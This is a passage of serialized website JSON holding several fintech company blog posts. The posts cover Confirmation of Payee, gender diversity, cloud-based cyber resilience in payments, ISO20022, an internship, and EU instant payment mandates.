very happy with this perhaps unintended consequence of their mandating Faster Payment participants to implement CoP by July 2019. It improves banking competition and encourages the adoption of CoP and reduces misdirected payments.",[],{"type":25,"text":6829,"spans":6830,"direction":445},"Financial Institutions without their own sort code, would be well advised to ask their banks for their own sort code.",[],{"type":25,"text":6832,"spans":6833,"direction":445},"Form3 provides an API driven account management service which allocates accounts on pseudo random basis. (See link for the fraud problems Tesco Bank had with sequential debit card numbers).",[6834],{"start":6835,"end":6836,"type":489,"data":6837},106,114,{"link_type":491,"url":6838,"target":493},"https:\u002F\u002Fwww.finextra.com\u002Fnewsarticle\u002F32719\u002Ffca-hits-tesco-bank-with-164-million-fine-for-cyber-failings\u002Fsecurity",{"type":25,"text":6840,"spans":6841,"direction":445},"Form3 also provides API driven advice of Bacs and Faster Payments receipts for financial institutions, and automatically return payments to non-live accounts providing an effective management service to customers for this kind of exception handling.",[],{"type":25,"text":6843,"spans":6844,"direction":445},"Form3 is planning to provide a service to respond to CoP requests on behalf of institutions like ABC Payments Ltd, using their own sort code so that Mr Patel can receive ‘Matched’ to his CoP request.",[],"rich_text$787b1c24-5298-4f21-a46c-4a435d9dda83",{"id":6847,"uid":6848,"type":3743,"data":6849},"alz0ghEAACwAUWYM","women-in-tech",{"title":6850,"excerpt":6851,"card_image":6852,"published_date":5812,"reading_time":643,"tag":3751,"dek":6851,"featured_image":6855,"about_form3":6856,"client_about_heading":5,"client_about_body":6857,"author_name":5,"author_title":5,"author_photo":6858,"author_bio":6859,"author_linkedin":6860,"slices":6861,"meta_title":6850,"meta_description":6851},"Women in Tech","Change is overdue",{"dimensions":6853,"alt":413,"copyright":5,"url":414,"id":415,"edit":6854},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},{},[],[],{},[],{"link_type":434},[6862,6887],{"variation":437,"version":527,"items":6863,"primary":6864,"id":6886,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":6865,"body":6866,"cta_label":5,"cta_link":6873,"aside_type":533,"aside_image":6874,"aside_video":6881,"aside_video_poster":6882,"aside_video_reduced_motion":6883,"aside_video_url":5,"aside_embed":6884,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":6885,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[6867,6870],{"type":25,"text":6868,"spans":6869,"direction":445},"Until quite recently, I’d never properly internalised the need to be an advocate for women in the Fintech workplace. However, as a C-level Exec almost 20 years into my career, I often still find myself as the only woman in the room.",[],{"type":25,"text":6871,"spans":6872,"direction":445},"That said, society and the world of work has come a long way and it is great to see exciting movements to encourage girls to study STEM subjects and women to start careers in finance and technology. ‘Relatively’ there has been phenomenal growth in young women choosing education and careers in the ‘male dominated worlds’ of finance, trading, M&A, coding, architecture, software developers and so on.",[],{"link_type":434},{"dimensions":6875,"alt":5,"copyright":5,"url":6878,"id":6879,"edit":6880},{"width":6876,"height":6877},899,579,"\u002F_prismic-media\u002F5f19828540041d68-k-pIsgSbBW4ym0Ni_283639b0-4c3f-4516-90f0-c7d4acb.png","k-pIsgSbBW4ym0Ni",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$9204ca7a-999b-4767-a7c3-17dd9becc73f",{"variation":437,"version":438,"items":6888,"primary":6889,"id":6930,"slice_type":468,"slice_label":5},[],{"body":6890},[6891,6894,6898,6901,6904,6907,6912,6915,6918,6921,6924,6927],{"type":25,"text":6892,"spans":6893,"direction":445},"However inside and outside of the workplace huge inequalities still exist in all kinds of areas, whether it’s education, political engagement, access to family leave, health or income. The gender gap is still too big, which is why we at Form3 are now actively committed to increasing gender diversity in our organisation and across our industry.",[],{"type":25,"text":6895,"spans":6896,"direction":445},"Why we have a male gender equality champion",[6897],{"start":398,"end":5136,"type":593},{"type":25,"text":6899,"spans":6900,"direction":445},"Looking at our management team it may well seem odd for us here at Form3 to have a white British male championing gender diversity, especially with two women sitting on the management team. But I see this as a great thing, and one of the very reasons I enjoy working as part of the Form3 management team. Gender diversity is not a women’s issue, it’s an everyone issue, and this management team understands that.",[],{"type":25,"text":6902,"spans":6903,"direction":445},"Men still hold most of the decision-making authority in financial services and technology in the UK. Ensuring they become allies and join the journey to gender equality is key, so we are very proud to have a male leadership team so passionate about making changes in our industry as well as a champion leading our efforts at Form3.",[],{"type":25,"text":6905,"spans":6906,"direction":445},"As a society, we have often made gender equality a women’s issue, even though it is a critical economic issue affecting everyone. Recognising this, the Form3 approach to gender equality results from men in our company wanting and needing to be part of the solution rather than targeted as the problem. We’re all on this mission together to create an organisation and an industry that is far more representative of the UK population than it is right now. Rest assured that it’s the whole management team at Form3 – all 2 women and 4 men of us – that will be judged and ultimately rewarded on our success.",[],{"type":25,"text":6908,"spans":6909,"direction":445},"We’re stepping up",[6910],{"start":398,"end":6911,"type":593},17,{"type":25,"text":6913,"spans":6914,"direction":445},"For me, equality isn’t an option, it’s a right. We know we can’t change the world on our own, but we’re happy to give it a try!",[],{"type":25,"text":6916,"spans":6917,"direction":445},"We’re beginning our gender diversity mission with three values in mind that help to guide everything we do.",[],{"type":25,"text":6919,"spans":6920,"direction":445},"The first is caring deeply. Our company values take pride of place over the wall in our London office and act as a great visual but actually, we don’t need much reminding of what is important to us. Caring deeply is our top value and is engrained in absolutely everything we do.",[],{"type":25,"text":6922,"spans":6923,"direction":445},"The second is completeness. We absolutely do not just want to make a token effort or surface level changes to champion diversity. We have big initiatives underway to educate, invest, recruit and retain. Of course, we would love to bring more women into our business, but for us, it’s also about the bigger picture. It’s about encouraging more girls to study STEM subjects, supporting opportunities for girls to code, providing a place to work that is conducive to the success of each and every person in the company and much more than that.",[],{"type":25,"text":6925,"spans":6926,"direction":445},"We’ve just set up a coding club at Form3 for non-engineers who want to better understand and learn coding.",[],{"type":25,"text":6928,"spans":6929,"direction":445},"Thirdly is transparency and accountability. We won’t profess to having these amazing gender diversity targets where our organisational gender split suddenly becomes 50\u002F50. We are aiming for a 20\u002F80 gender split by the end of 2020 and an internal leadership split of 30\u002F70. Appreciate, this may not sound mind blowing, but this is a significant improvement on our current employee make up and is one (very important) step towards a much bigger goal for not only Form3, but for the fintech industry as a whole.",[],"rich_text$33b1f93b-cf3e-454d-9649-6c180c82874d",{"id":6932,"uid":6933,"type":3743,"data":6934},"alz0OBEAACwAUWVS","how-microservices-are-changing-the-game-for-operational-resilience-and-cyber-security-in-payments",{"title":6935,"excerpt":6936,"card_image":6937,"published_date":6940,"reading_time":2769,"tag":3751,"dek":6936,"featured_image":6941,"about_form3":6942,"client_about_heading":5,"client_about_body":6943,"author_name":5,"author_title":5,"author_photo":6944,"author_bio":6945,"author_linkedin":6946,"slices":6947,"meta_title":6935,"meta_description":6936},"How microservices are changing the game for operational resilience and cyber security in payments","Cloud adoption among banks has accelerated exponentially in recent years with views now pivoting towards seeing cloud as central to resiliency challenges. Unlike cloud-based systems, legacy technology cannot be easily patched and upgraded. As a result, weaknesses can remain in a system for a significant stretch of time. It is not surprising that 64% of enterprises believe that cloud-based systems are a more secure alternative to on-premise architecture.",{"dimensions":6938,"alt":413,"copyright":5,"url":414,"id":415,"edit":6939},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2021-08-04",{},[],[],{},[],{"link_type":434},[6948,6973,7002,7026,7049,7072,7110],{"variation":437,"version":438,"items":6949,"primary":6950,"id":6972,"slice_type":468,"slice_label":5},[],{"body":6951},[6952,6955,6958,6969],{"type":25,"text":6953,"spans":6954},"Since the advent of computerised systems in the late 1980s, banks have relied heavily on their technology to protect finances around the world.",[],{"type":25,"text":6956,"spans":6957},"Historically, enterprise banks have depended on monolithic data centres and legacy systems to provide security. However, in the 21st century, legacy technologies are comparatively vulnerable, when compared to modern cloud-based payment architecture which uses componentised microservices with multiple layers of protection that when updated, don’t affect the whole system. Designing secure payment systems is a persistent challenge for banks that are determined to go it alone, resulting in the potential for even small vulnerabilities that may not be visible to be exposed to cyber threats.",[],{"type":25,"text":6959,"spans":6960},"Meanwhile cloud adoption among banks has accelerated exponentially in recent years with views now pivoting to see cloud as central to resiliency challenges. In the recent Financial Stability Report, The Bank of England cite that “this is happening in advanced economies and emerging markets as well - because there are advantages of using the cloud, both in terms of cost and possibly in terms of resilience”\n\nManaging resilience is one of the top business objectives for cloud adoption in 2021 by UK banks.",[6961,6964],{"start":1977,"end":1251,"type":489,"data":6962},{"link_type":491,"url":6963},"https:\u002F\u002Fyoutu.be\u002FPAqvXXelFJY?t=2292",{"start":6965,"end":6966,"type":489,"data":6967},472,486,{"link_type":491,"url":6968},"https:\u002F\u002Fwww.ey.com\u002Fen_uk\u002Fbanking-capital-markets\u002Fuk-banking-public-cloud-adoption-banks-must-think-big-to-transform",{"type":25,"text":6970,"spans":6971},"Advances in cloud technology and its current all-time low-cost point means that banks of all sizes are now able to achieve the same Enterprise grade cyber resilience and security in payments by partnering with established Cloud-native technology partners.",[],"rich_text$f6738631-cb18-45f7-a858-1a5c73bf5655",{"variation":437,"version":438,"items":6974,"primary":6975,"id":7001,"slice_type":468,"slice_label":5},[],{"body":6976},[6977,6980,6983,6987,6991,6995,6998],{"type":988,"text":6978,"spans":6979,"direction":445},"What do we mean by Cyber Resilience?",[],{"type":25,"text":6981,"spans":6982,"direction":445},"Let’s briefly explore some of the key components that make up cyber resilience:",[],{"type":1151,"text":6984,"spans":6985,"direction":445},"Threat protection: As technology advances, so do cyber criminals. Effective threat protection relies on constantly iterative, vigilant systems that respond rapidly to threats as they occur.",[6986],{"start":398,"end":2769,"type":593},{"type":1151,"text":6988,"spans":6989,"direction":445},"Adaptability: Criminals carry out sophisticated operations by observing habits and taking advantage of observable weaknesses; so businesses need to adapt and be prepared to change if they want to remain secure.",[6990],{"start":398,"end":1951,"type":593},{"type":1151,"text":6992,"spans":6993,"direction":445},"Durability: Cyber resilient businesses can still function after an attack.",[6994],{"start":398,"end":602,"type":593},{"type":25,"text":6996,"spans":6997,"direction":445},"Legacy technology in banking is rigid and complex. Being able to satisfy the above criteria requires not only highly secure systems but flexibility and scalability, agility and automation to track and respond in real-time to new or different behaviours or change settings every few seconds.",[],{"type":25,"text":6999,"spans":7000,"direction":445},"This is especially important as widespread digital technology and access have made it easier than ever for cybercriminals to attack.",[],"rich_text$6c045ad3-2eb0-418b-b1d4-0096e176fc72",{"variation":437,"version":438,"items":7003,"primary":7004,"id":7025,"slice_type":468,"slice_label":5},[],{"body":7005},[7006,7009,7012,7019],{"type":988,"text":7007,"spans":7008,"direction":445},"How to Ensure Cyber Resiliency: The Risk of Going It Alone",[],{"type":25,"text":7010,"spans":7011,"direction":445},"A significant reason for continuing investment in on-premise systems in banking (even after the advent of cloud computing) was the perceived notion of control afforded by the technology. However, legacy systems are more vulnerable to attack than ever before. Attacks come in many forms – data breaches, denial of service, stolen accounts and of course internal challenges such as insecure applications and inadequate training.",[],{"type":25,"text":7013,"spans":7014,"direction":445},"Unlike cloud-based systems, legacy tech cannot be easily patched and upgraded. As a result, weaknesses can remain in a system for a significant stretch of time. It is not surprising that 64% of enterprises believe that cloud-based systems are a more secure alternative to on-premise architecture.",[7015],{"start":790,"end":7016,"type":489,"data":7017},190,{"link_type":491,"url":7018,"target":493},"https:\u002F\u002Fclutch.co\u002Fcloud\u002Fresources\u002Fsecurity-trends-in-enterprise-cloud-computing",{"type":25,"text":7020,"spans":7021,"direction":445},"Lacking cyber security in banking is particularly dangerous in the payments space, especially as businesses attempt to evolve their services to cater to a demanding public.",[7022],{"start":753,"end":754,"type":489,"data":7023},{"link_type":491,"url":7024,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fblog\u002Fwhy-enterprise-banks-must-adopt-innovations-in-payment-technologies","rich_text$acc6101d-8560-4dcb-b4c9-65faab21c042",{"variation":437,"version":438,"items":7027,"primary":7028,"id":7048,"slice_type":468,"slice_label":5},[],{"body":7029},[7030,7033,7036,7039,7042,7045],{"type":988,"text":7031,"spans":7032,"direction":445},"Designing Secure Payment Systems: How Safe Is Cloud based Payments Infrastructure?",[],{"type":25,"text":7034,"spans":7035,"direction":445},"Payments are one of the most essential services banks offer to their customers. As such, secure payment systems can help banks avoid nightmare scenarios whilst delivering a competitive service for their customers.",[],{"type":25,"text":7037,"spans":7038,"direction":445},"Historically data centre security was built on the premise of a secure perimeter. Antibot, Anti-firewall, threat prevention, network security tools and so on.",[],{"type":25,"text":7040,"spans":7041,"direction":445},"Then the public cloud arrived –instead of one perimeter there are now multiple perimeters. Each individual component now has its own security controls, autoscaling, is capable of elastic workloads and more. Furthermore, cloud-based security enables broad visibility across all your environments and can leverage AI and machine learning to identify and act automatically to alerts and anomalies. This also helps identify blind spots or weak points in your systems.",[],{"type":25,"text":7043,"spans":7044,"direction":445},"High availability, disaster recovery and redundancy are now the new normal and vastly improved by cloud vendors in the last decade who also provide service guarantee for availability and performance.",[],{"type":25,"text":7046,"spans":7047,"direction":445},"Banks working with specialist cloud-native technology providers benefit from highly secure payment processing solutions that also remove the burden of maintenance and updates from their shoulders.",[],"rich_text$849c2c42-fcc0-44f9-b5ee-21a88ee43803",{"variation":437,"version":438,"items":7050,"primary":7051,"id":7071,"slice_type":468,"slice_label":5},[],{"body":7052},[7053,7056,7059,7062,7065,7068],{"type":988,"text":7054,"spans":7055,"direction":445},"How Managed platform providers deliver Cyber Resilience",[],{"type":25,"text":7057,"spans":7058,"direction":445},"Specialist managed platform providers who adopt DevSecOps business models, use industry best practices and embed cloud security into the design of their payments platform from inception offer a wide range of benefits to banks.",[],{"type":25,"text":7060,"spans":7061,"direction":445},"Microservices combined with automation means technology providers can deploy multiple, incremental changes in a single day. And by fully automated, I mean environments, testing, deployment and service monitoring. This means that customers can benefit from new features immediately.",[],{"type":25,"text":7063,"spans":7064,"direction":445},"Any updates made to the platform happen without any disruption to service as one piece of code doesn’t depend on another to work.",[],{"type":25,"text":7066,"spans":7067,"direction":445},"Microservices are loosely grouped together and are typically lightweight, allowing for rapid improvements without causing other elements of the technology to break. Containers enable architecture to scale in line with demand, as well as aligning to developers' environments increasing velocity.",[],{"type":25,"text":7069,"spans":7070,"direction":445},"All customers use a shared platform and therefore benefit from strong security controls and protocols as well as detailed audits. Any security improvements made therefore cascade out to all users.",[],"rich_text$b83efba9-3f59-441d-b019-62f35818258a",{"variation":437,"version":438,"items":7073,"primary":7074,"id":7109,"slice_type":468,"slice_label":5},[],{"body":7075},[7076,7079,7082,7085,7088,7091,7094,7097,7100,7103,7106],{"type":988,"text":7077,"spans":7078,"direction":445},"What Banks Should Look for in Secure Payment Processing Solutions",[],{"type":25,"text":7080,"spans":7081,"direction":445},"There are key features that banks should keep in mind when partnering with a secure cloud-based payment processing solution. The best Fintechs should be able to provide banks with:",[],{"type":1151,"text":7083,"spans":7084,"direction":445},"Multi-cloud native​ technology",[],{"type":1151,"text":7086,"spans":7087,"direction":445},"A DevSecOps business model",[],{"type":1151,"text":7089,"spans":7090,"direction":445},"Globally scalable​",[],{"type":1151,"text":7092,"spans":7093,"direction":445},"Continuous monitoring",[],{"type":1151,"text":7095,"spans":7096,"direction":445},"AI and Machine learning",[],{"type":1151,"text":7098,"spans":7099,"direction":445},"Full automation – not just in testing",[],{"type":1151,"text":7101,"spans":7102,"direction":445},"Rapid, continuous delivery​",[],{"type":1151,"text":7104,"spans":7105,"direction":445},"Guaranteed uptime and strong SLA’s",[],{"type":25,"text":7107,"spans":7108,"direction":445},"Security failures have the potential to cause substantial damage to the financial system. Legacy approaches are no longer adequate in a digitally mature economy.",[],"rich_text$a74c0534-0f37-4d04-b08a-30b5330e3e63",{"variation":437,"version":438,"items":7111,"primary":7112,"id":7123,"slice_type":468,"slice_label":5},[],{"body":7113},[7114,7117,7120],{"type":988,"text":7115,"spans":7116,"direction":445},"Catching cybercrime in real-time",[],{"type":25,"text":7118,"spans":7119,"direction":445},"Modern, agile cloud-native technologies using microservices, API’s and containers as well as AI and machine learning to detect patterns and\u002For irregularities and act on them is now standard practice. End to end secure protection and full automation across environments, monitoring, testing and deployment lessen the risk for error as well as those hidden gaps in technology that may not be easily visible.",[],{"type":25,"text":7121,"spans":7122,"direction":445},"Through partnering with Cloud-native technology providers, banks can therefore transform their technological capabilities at the same time as increasing their cyber resilience. And in my view that is a win win.",[],"rich_text$174a346a-f90c-465c-976b-c53aff2d78f7",{"id":7125,"uid":7126,"type":3743,"data":7127},"alz0NhEAACwAUWVN","you-may-be-iso-to-the-core-but-the-form3-platform-is-still-your-best-gateway-option",{"title":7128,"excerpt":7129,"card_image":7130,"published_date":7133,"reading_time":643,"tag":3751,"dek":7134,"featured_image":7135,"about_form3":7136,"client_about_heading":5,"client_about_body":7137,"author_name":5,"author_title":5,"author_photo":7138,"author_bio":7139,"author_linkedin":7140,"slices":7141,"meta_title":7128,"meta_description":7129},"You may be ISO to the core, but the Form3 platform is still your best gateway option","ISO20022 standardisation isn’t just about message formats and isn’t an achievable reality. But you can still avail of the richer dataset that ISO enables at the payment schemes, without the complexity, by using our scheme agnostic services. Form3 is ISO20022 compliant, so you don’t have to be.",{"dimensions":7131,"alt":413,"copyright":5,"url":414,"id":415,"edit":7132},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2021-08-23","ISO20022 standardisation isn’t just about message formats and isn’t an achievable reality. But you can still avail of the richer dataset that ISO enables at the payment schemes, without the complexity, by using our scheme agnostic services.",{},[],[],{},[],{"link_type":434},[7142,7153,7167],{"variation":437,"version":438,"items":7143,"primary":7144,"id":7152,"slice_type":468,"slice_label":5},[],{"body":7145},[7146,7149],{"type":746,"text":7147,"spans":7148},"ISO20022",[],{"type":25,"text":7150,"spans":7151},"ISO20022. It has been on the radar for a long time. When I moved to London in 2006 to start working in treasury operations, one of the first projects I spent time on was a mapping document from SWIFT MT to MX messages. Despite some notable earlier movers, it has taken the wider industry a bit longer than I expected to make the switch, but we are certainly past the tipping point now. With numerous payment schemes already using messages from the ISO20022 catalogue, and more transitioning in the coming years, it may appear that there is value in banks making their core systems ISO native also. Surely that's the best way to align with the external schemes and get the most value out of the new messages?\n\nWell, in short, no.\n\nFor starters, not everything has moved to the ISO20022 standard yet. So what do you do - migrate your core platform to ISO now but use some middleware to give backwards compatibility? Or delay your core upgrade until enough schemes have migrated, knowing that this could extend out for years? \n\nLet's take the case of a bank which only needs the SEPA payment schemes (all already using ISO20022 standard message types). You've deployed an ISO native core, you've built\u002Fbought an ISO compliant gateway. You're all done, right?\n\nNot quite.",[],"rich_text$2f8ef3a2-6933-4980-9181-6150f919ff93",{"variation":437,"version":438,"items":7154,"primary":7155,"id":7166,"slice_type":468,"slice_label":5},[],{"body":7156},[7157,7160,7163],{"type":746,"text":7158,"spans":7159},"So, what's the solution?",[],{"type":25,"text":7161,"spans":7162},"Form3 is the solution. No matter what format your core platform uses, connect once to our single payment API for any payment scheme. We abstract the payment information from any underlying format so you don't have to. We ensure compliance with the schemes we face into. We run the infrastructure. We are adding more schemes with no change to our API.  Our platform is maintained with daily updates at no additional cost to you. We dynamically scale to meet your growing volumes. All of this frees your resources and investment to focus on your customers.",[],{"type":25,"text":7164,"spans":7165},"ISO20022 standardisation isn’t just about message formats and isn’t an achievable reality. But you can still avail of the richer dataset that ISO enables at the payment schemes, without the complexity, by using our scheme agnostic services. We are ISO20022 compliant, so you don’t have to be. ",[],"rich_text$8e9545c9-ed61-46da-81e8-6c10dbbb8041",{"variation":437,"version":438,"items":7168,"primary":7169,"id":7176,"slice_type":583,"slice_label":5},[],{"quote":7170,"attribution_name":7174,"attribution_role":7175},[7171],{"type":25,"text":7172,"spans":7173},"We are ISO20022 compliant, so you don’t have to be",[],"Mark Staunton","Head of Customer Success - North America","pull_quote$99d9f752-05e7-4e39-b743-c1ee24a5baf6",{"id":7178,"uid":7179,"type":3743,"data":7180},"alz0aREAACoAUWXQ","building-connections",{"title":7181,"excerpt":7182,"card_image":7183,"published_date":7186,"reading_time":5,"tag":3751,"dek":7182,"featured_image":7187,"about_form3":7188,"client_about_heading":5,"client_about_body":7189,"author_name":5,"author_title":5,"author_photo":7190,"author_bio":7191,"author_linkedin":7192,"slices":7193,"meta_title":7181,"meta_description":7182},"Building Connections","My time as an intern at Form3 has been centred around the principal of connection...",{"dimensions":7184,"alt":413,"copyright":5,"url":414,"id":415,"edit":7185},{"width":412,"height":412},{"x":398,"y":398,"zoom":399,"background":400},"2019-12-13",{},[],[],{},[],{"link_type":434},[7194,7217],{"variation":437,"version":527,"items":7195,"primary":7196,"id":7216,"slice_type":549,"slice_label":5},[],{"eyebrow":5,"heading":7197,"body":7198,"cta_label":5,"cta_link":7205,"aside_type":533,"aside_image":7206,"aside_video":7211,"aside_video_poster":7212,"aside_video_reduced_motion":7213,"aside_video_url":5,"aside_embed":7214,"pardot_form_url":5,"form_submit_label":5,"form_variant":540,"form_heading":5,"redirect_on_success":7215,"theme":543,"overlay_pattern":544,"background_continuation":545,"media_position":546,"aside_vertical_align":547},[],[7199,7202],{"type":25,"text":7200,"spans":7201,"direction":445},"My time as an intern at Form3 has been centred around the principal of connection. Building connections is a fundamental characteristic of Form3 both in the internal working and the external functioning of the company.",[],{"type":25,"text":7203,"spans":7204,"direction":445},"Form3 offers customers the chance to connect to major payments schemes and reach new areas and new customers. It bridges the complications of dealing with confusing standards and message structures and makes payments simple and easy. What was striking to me was how this concept of connection is carried through to the internal workings of the firm. Something that is especially important given that a majority of the team works at least part of their time remotely.",[],{"link_type":434},{"dimensions":7207,"alt":5,"copyright":5,"url":7208,"id":7209,"edit":7210},{"width":6789,"height":884},"\u002F_prismic-media\u002F3290bebe9dfcfcc5-LqWOy_j4hg30ngow_2e50bd1e-6584-4cb1-9f31-99ec9ff.png","LqWOy_j4hg30ngow",{"x":398,"y":398,"zoom":399,"background":400},{"link_type":536},{},{},{},{"link_type":542},"content_block$d62a71dd-8c64-4599-828f-d99d837a9450",{"variation":437,"version":438,"items":7218,"primary":7219,"id":7237,"slice_type":468,"slice_label":5},[],{"body":7220},[7221,7225,7228,7231,7234],{"type":25,"text":7222,"spans":7223,"direction":445},"How We Connect",[7224],{"start":398,"end":2987,"type":593},{"type":25,"text":7226,"spans":7227,"direction":445},"From the moment I arrived at Form3 I was welcomed straight into a Monday morning meeting, where the entire firm gathers once a week. People congregate either in person in the office or virtually via video link to reconnect and share updates from the week. This is vital for making sure everyone is on the same page and it quickly becomes clear that the firm functions as a singular team. A team that works together towards goals, sharing in successes and setbacks alike. This culture is not contained to the Monday meeting, there is a consistent feeling that when working at Form3 you are part of something bigger.",[],{"type":25,"text":7229,"spans":7230,"direction":445},"I have worked closely with the product team creating UML maps of our API and mapping various messages. I’ve worked on software projects within R&D as well as spending time with sales. Regardless of where in the company I was working, reaching out and asking for advice was always encouraged. Growing and learning are inherent parts of the culture here, and I found that a lot of time can be saved when no one feels they have to pretend to know everything.",[],{"type":25,"text":7232,"spans":7233,"direction":445},"This honest communication and respect is core to keeping the whole team connected and focused.",[],{"type":25,"text":7235,"spans":7236,"direction":445},"My time at Form3 has given me the chance to learn a huge amount, not only about payments (though I can now quote the ISO 20022 standard verbatim!) but also what working in a truly connected firm can mean.",[],"rich_text$467d41e9-77c3-45d0-9d25-dce99d238192",{"id":7239,"uid":7240,"type":3743,"data":7241},"alzztBEAACcAUWQc","mandated-instant-payments-whatyoushoulknow",{"title":7242,"excerpt":7243,"card_image":7244,"published_date":7245,"reading_time":418,"tag":379,"dek":7243,"featured_image":7246,"about_form3":7250,"client_about_heading":5,"client_about_body":7251,"author_name":5,"author_title":5,"author_photo":7252,"author_bio":7253,"author_linkedin":7254,"slices":7255,"meta_title":7333,"meta_description":7334},"So it happened, instant is getting mandated, will you be ready to embrace it?","Now that we have all had time to read the text of the proposal of the EU to mandate instant payments, and the commentaries on social media, do you feel any more ready to embrace this change?",{},"2022-11-08",{"dimensions":7247,"alt":413,"copyright":5,"url":7248,"id":415,"edit":7249},{"width":412,"height":412},"\u002F_prismic-media\u002F5d72b1e65b7a29f5-jT5-dxAstKJZQFwI_Form3-Resource.png",{"x":398,"y":398,"zoom":399,"background":400},[],[],{},[],{"link_type":434},[7256,7291,7311],{"variation":437,"version":438,"items":7257,"primary":7258,"id":7290,"slice_type":468,"slice_label":5},[],{"body":7259},[7260,7263,7266,7269,7272,7275,7278,7281,7284,7287],{"type":988,"text":7261,"spans":7262,"direction":445},"Ready for mandatory instant euro payments?",[],{"type":25,"text":7264,"spans":7265,"direction":445},"The decision to move from a sole focus on reachability to mandating instant payments for all PSPs has been a long time coming and eagerly awaited by some parts of the industry like the players in open banking.",[],{"type":25,"text":7267,"spans":7268,"direction":445},"This important piece of regulation will really make instant payments the new normal for everyone, and go a long way to fulfil the purpose the EU had in mind with instant payments in the first place.",[],{"type":25,"text":7270,"spans":7271,"direction":445},"Markets like the UK, where FPS has been around since 2008, learned that only a regulatory push makes instant schemes take off. In the case of 1st generation instant payment system FPS that was the mandate for all standing orders to be handled with same day settlement in 2012.",[],{"type":25,"text":7273,"spans":7274,"direction":445},"Does the proposal of the EU deliver on all expectations, likely not. EMI and PIs are excluded, where this could have been an excellent opportunity to maybe also start rethinking the ‘Finality of Settlement Directive’ and allow these players to onboard from the get go. ",[],{"type":25,"text":7276,"spans":7277,"direction":445},"And the market is already debating whether the guidance on fraud and screening are enough and what it should look like. Definitely more detail is needed and some kind of central set up or control on checking IBAN and name might be needed to really make sure there is consistency in uptake. ",[],{"type":25,"text":7279,"spans":7280,"direction":445},"Understanding how the process of EU legislation can work, ratifying this text will take time, and there will most likely be amendments to follow. However, here is what we do know that is going to be needed for the scheme to succeed: ",[],{"type":1151,"text":7282,"spans":7283,"direction":445},"Trust in the system is key. It’s important to not do the bare minimum fraud prevention and sanctions but adopt best practice this is what will make a difference in the service of your customers.\n",[],{"type":1151,"text":7285,"spans":7286,"direction":445},"Real adoption is the support of both in and outgoing payments. And though the timelines for the supporting of this are split, if you want your piece in the market  it is better to support both flows sooner rather than later.\n",[],{"type":1151,"text":7288,"spans":7289,"direction":445},"Pricing is to come down to either the same or lower than SCT, with a SEPA market with so much difference in pricing it is worth considering whether ‘free of charge’ is not just the way to go. The real value is in your customer relationship in the end.",[],"rich_text$8f5a6450-1d44-4eb9-91e4-095de4647a5f",{"variation":437,"version":438,"items":7292,"primary":7293,"id":7310,"slice_type":468,"slice_label":5},[],{"body":7294},[7295,7298,7301,7304],{"type":988,"text":7296,"spans":7297,"direction":445},"How should providers be preparing for the change?",[],{"type":25,"text":7299,"spans":7300,"direction":445},"Depending on the market and segment you service you will want to choose to stay ahead of the curve by acting early. The expectation around instant payments amongst consumers and businesses will undoubtedly increase, and of course will be expected at no extra cost.",[],{"type":25,"text":7302,"spans":7303,"direction":445},"With Instant Payments also becoming more of a commodity it is key to focus on efficiency. Whether you are a new joiner or are looking for further reductions to the cost of processing because you can no longer charge or you want to further invest in the supporting services of SEPA Instant. Minimising the number of integration points should be be something that is considered; in many cases, routing through regional clearing rather than seeking to integrate with multiple clearing systems across different markets, despite the differences in transaction cost.",[],{"type":25,"text":7305,"spans":7306,"direction":445},"We also recommend that you look at the solutions that allow you to reuse your back office as much as possible and use the time available to focus on their existing pain points like the challenges that come with continuous liquidity management for a pre-funded system and running payments validations at higher speed. ",[7307],{"start":1633,"end":5490,"type":489,"data":7308},{"link_type":491,"url":7309,"target":493},"https:\u002F\u002Fpodcast.form3.tech\u002Fepisodes\u002Fep-5-instant-payments-with-arthur-cousins-and-jolanda-schekermans","rich_text$7db8cca8-2e2c-4406-9ef8-58292e003dd5",{"variation":437,"version":438,"items":7312,"primary":7313,"id":7332,"slice_type":468,"slice_label":5},[],{"body":7314},[7315,7318,7323,7326],{"type":988,"text":7316,"spans":7317,"direction":445},"How can Form3 help?",[],{"type":25,"text":7319,"spans":7320,"direction":445},"At Form3, we have been supporting access to instant payments schemes from day one – both for direct participants that are eligible to hold a settlement account and via our Direct Non Settling Participant (DNSP) model for other regulated financial institutions. As a multi-tenant organisation, we can connect customers to a new scheme in a matter of weeks, with a smooth, dedicated implementation process.",[7321],{"start":418,"end":1633,"type":489,"data":7322},{"link_type":491,"url":2713,"target":493},{"type":25,"text":7324,"spans":7325,"direction":445},"Run as fully managed services, our solutions reduce costs and simplify the effort involved in managing critical, evolving payment infrastructure. Our services also insulate providers from the impact of scheme rule changes, regulatory updates, security assessments and live testing.",[],{"type":25,"text":7327,"spans":7328,"direction":445},"Find out more about how Form3’s cloud-native platform can provide you and your customers with access to real-time payments.",[7329],{"start":398,"end":6262,"type":489,"data":7330},{"link_type":491,"url":7331,"target":493},"https:\u002F\u002Fwww.form3.tech\u002Fpayment-platform\u002Feurope\u002Fsepa-instant","rich_text$ee84f40a-1739-4e23-b555-9fc8bc48b670","mandated instant payments what banks need to know","sepa instant payments have now been mandated within the EU. What does this mean for banks and how can those that are not already on this service take the first steps into the world of real time. What challenges and hurdles need to be overcome in order to meet upcoming legislative deadlines",{"id":7336,"uid":7337,"type":3743,"data":7338},"alz0ehEAACkAUWX7","bridging-the-divide",{"title":7339,"excerpt":7340,"card_image":7341,"published_date":5812,"reading_time":2375,"tag":3751,"dek":7340,"featured_image":7344,"about_form3":7345,"client_about_heading":5,"client_about_body":7346,"author_name":5,"author_title":5,"author_photo":7347,"author_bio":7348,"author_linkedin":7349,"slices":7350,"meta_title":7339,"meta_description":7340},"Bridging the divide","Ensuring financial inclusion for SMEs 